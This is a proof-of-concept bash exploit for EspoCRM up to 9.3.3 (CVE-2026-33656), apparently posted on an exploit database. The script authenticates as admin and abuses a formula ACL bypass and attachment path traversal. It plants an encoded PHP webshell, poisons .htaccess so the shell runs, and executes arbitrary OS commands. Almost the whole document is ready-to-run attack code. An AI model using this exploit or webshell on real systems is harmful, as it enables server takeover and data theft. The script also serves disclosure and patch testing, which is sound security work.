Share
## https://sploitus.com/exploit?id=PACKETSTORM:217859
#!/bin/bash
    # ===========================================================================
    # EspoCRM <= 9.3.3 CVE-2026-33656 โ€” Authenticated RCE via Formula ACL Bypass
    # + Attachment sourceId Path Traversal + .htaccess Poisoning
    #
    # Author  : Jiva (jivasecurity.com)
    # Writeup : https://jivasecurity.com/writeups/espocrm-rce-cve-2026-33656
    # Product : EspoCRM <= 9.3.3
    # Auth    : Admin credentials required
    # Impact  : OS command execution
    #
    # Usage:
    #   ./poc.sh <base_url> <username> <password> [command]
    #
    # Example:
    #   ./poc.sh http://192.168.5.16:8090 admin admin id
    # ===========================================================================
    
    BASE="${1:-http://192.168.5.16:8090}"
    USER="${2:-admin}"
    PASS="${3:-admin}"
    CMD="${4:-id}"
    
    AUTH_B64=$(printf '%s:%s' "$USER" "$PASS" | base64 | tr -d '\n')
    AUTH="Espo-Authorization: $AUTH_B64"
    
    # JSON id extractor โ€” prefers jq, falls back to grep+cut (no python3 needed)
    extract_id() {
        if command -v jq &>/dev/null; then
            jq -r '.id'
        else
            grep -o '"id":"[^"]*"' | head -1 | cut -d'"' -f4
        fi
    }
    
    die() { echo "[-] FAIL at $1: $2" >&2; exit 1; }
    
    echo "[*] Target : $BASE"
    echo "[*] User   : $USER"
    
    # โ”€โ”€ Step 1: Create attachment (Document/file, .txt โ€” passes accept list) โ”€โ”€โ”€โ”€โ”€โ”€
    echo ""
    echo "[1/6] Creating webshell attachment..."
    RESP=$(curl -s "$BASE/api/v1/Attachment" \
      -H "$AUTH" -H "Content-Type: application/json" \
      -d '{"name":"test.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":28}')
    SHELL_ID=$(echo "$RESP" | extract_id)
    [[ -n "$SHELL_ID" ]] || die "Step 1" "no id returned โ€” response: $RESP"
    echo "    Attachment ID: $SHELL_ID"
    
    # โ”€โ”€ Step 2: Formula sets sourceId โ†’ ../../client/x (path traversal) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    echo "[2/6] Setting sourceId via formula (ACL bypass)..."
    RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
      -H "$AUTH" -H "Content-Type: application/json" \
      -d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$SHELL_ID\\\",\\\"sourceId\\\",\\\"../../client/x\\\")\",\"targetType\":null,\"targetId\":null}")
    echo "$RESP" | grep -q '"isSuccess":true' || die "Step 2" "formula failed โ€” $RESP"
    echo "    sourceId โ†’ ../../client/x"
    
    # โ”€โ”€ Step 3: Chunk upload writes PHP webshell to client/x โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    echo "[3/6] Writing PHP webshell to client/x..."
    # Payload: <?php system($_GET["c"]); ?>
    RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$SHELL_ID" \
      -H "$AUTH" -H "Content-Type: application/octet-stream" \
      --data-raw "data:application/octet-stream;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==")
    echo "    Response: $RESP"
    
    # โ”€โ”€ Step 4: Create second attachment for .htaccess modification โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    echo "[4/6] Creating .htaccess attachment..."
    RESP=$(curl -s "$BASE/api/v1/Attachment" \
      -H "$AUTH" -H "Content-Type: application/json" \
      -d '{"name":"ht.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":999999}')
    HT_ID=$(echo "$RESP" | extract_id)
    [[ -n "$HT_ID" ]] || die "Step 4" "no id returned โ€” response: $RESP"
    echo "    Attachment ID: $HT_ID"
    
    # โ”€โ”€ Step 5: Formula sets sourceId โ†’ ../../.htaccess โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    echo "[5/6] Redirecting to .htaccess via formula..."
    RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
      -H "$AUTH" -H "Content-Type: application/json" \
      -d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$HT_ID\\\",\\\"sourceId\\\",\\\"../../.htaccess\\\")\",\"targetType\":null,\"targetId\":null}")
    echo "$RESP" | grep -q '"isSuccess":true' || die "Step 5" "formula failed โ€” $RESP"
    echo "    sourceId โ†’ ../../.htaccess"
    
    # โ”€โ”€ Step 6: Chunk upload appends PHP handler directive to .htaccess โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    echo "[6/6] Appending PHP handler directive to .htaccess..."
    # Payload:
    #   <FilesMatch "^x$">
    #   SetHandler application/x-httpd-php
    #   </FilesMatch>
    RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$HT_ID" \
      -H "$AUTH" -H "Content-Type: application/octet-stream" \
      --data-raw "data:text/plain;base64,CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4=")
    echo "    Response: $RESP"
    
    # โ”€โ”€ Execute โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    echo ""
    echo "[*] Executing: $CMD"
    echo "    Webshell: $BASE/client/x?c=<cmd>"
    echo ""
    
    RESULT=$(curl -s "$BASE/client/x?c=$CMD")
    echo "$RESULT"
    echo ""
    
    if echo "$RESULT" | grep -qE "uid=[0-9]+"; then
        echo "[+] RCE CONFIRMED"
    else
        echo "[-] Webshell did not return expected output โ€” check manually:"
        echo "    curl -v '$BASE/client/x?c=id'"
    fi